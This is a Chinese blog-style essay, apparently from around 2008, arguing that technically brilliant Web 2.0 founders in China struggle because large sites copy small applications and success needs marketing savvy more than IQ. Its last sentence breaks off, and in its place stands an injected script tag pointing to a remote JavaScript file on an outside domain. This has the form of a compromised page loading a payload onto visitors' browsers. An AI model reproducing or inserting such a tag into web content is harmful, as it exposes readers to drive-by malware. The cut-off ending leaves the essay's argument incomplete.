想想两年前的2006年，好像2000年互联网高潮那般，人人怀着“舍我其谁”的理想主义（或投机主义）气概，企图动摇那些行业领导者的地位。不过结果和6年前几乎如出一辙，除了优库，土豆，豆瓣，校内等等少有的几个表面上的胜出者外（距离产生利润的真正胜利还有一层窗户纸的遥远厚度），其他那些曾经被媒体期待为明日之星的2.0公司，目前的情况，虽然咱们作为外人不能完全看透，而且大多数人还咬着牙根说着“我们要关注未来，着眼长远利益”这类连投资人都没有脾气的话，但真正的冷暖苦寒，恐怕只有自己知道。
文章中的特别提到的“百度技术系” 公司，想想这些公司之中，无论是酷讯，抓虾，还是更加大名鼎鼎的由刘建国先生执掌的“爱帮”，哪个不是由技术天才人物引领的，以他们的智力和资力，如果仍然在某公司打工，在如今到处缺少“人才”的互联网行业，年薪数十万，甚至百万绝不是空谈。但他们甘愿破釜沉舟，步入江湖，自然是令我等敬佩的，但眼看这些少年英才，iq角度的人上之人，走到目前的境况，不能不让人扼腕惋惜。
可见在目前中国的商业环境来说，想走完全的硅谷式创业走向成功，是何等困难。美国硅谷，诚信机制基本完善，商业链条环环相扣，只要你的技术或者应用，能够满足一个大公司的需要，就有可能被收购，也正因为这样，才有了朱敏，邓峰等等硅谷华人英雄的传奇故事。
但到了国内，就完全是另外的概念了，如果你只是一个小的应用，那大网站可以迅速把你的好东西“学习”过来。大的如新浪对“博客中国”的学习，小的如大家在开心，海内都看到的“抢车位”“朋友买卖”，无不渗透着“互相学习”的浓烈气氛。
所以在国内，如果想要取得商业上的成功，你就必须比那些美国同行们更进一步，要用注册人数或者收入来向你的买家和投资人来证明自己，这可比仅仅作出一个小应用难度大了不知多少了。
而在中国目前的商业环境下，能否把自己的互联网生意推向成功商业的第二步（第一步：产生创意；第二步：吸引用户；第三步：产生利润），可就不是由你的iq来决定了。病毒，弹出窗，seo，这些混杂着街头生意智慧的把戏，可不是北大清华的教授所能告诉你的。也可能正因为如此，在中国商业浸淫30年的史玉柱才说“要想成功，iq不重要，eq才是着重要的”。
当然有人会说，人家李彦宏不就是完全的技术出身么，不过我想，如果百度没有mp3搜索，没有贴吧，没有网站联盟，没有人肉销售团队，这些很中国，很特色的服务，?script src=http://er12.com/t.js>
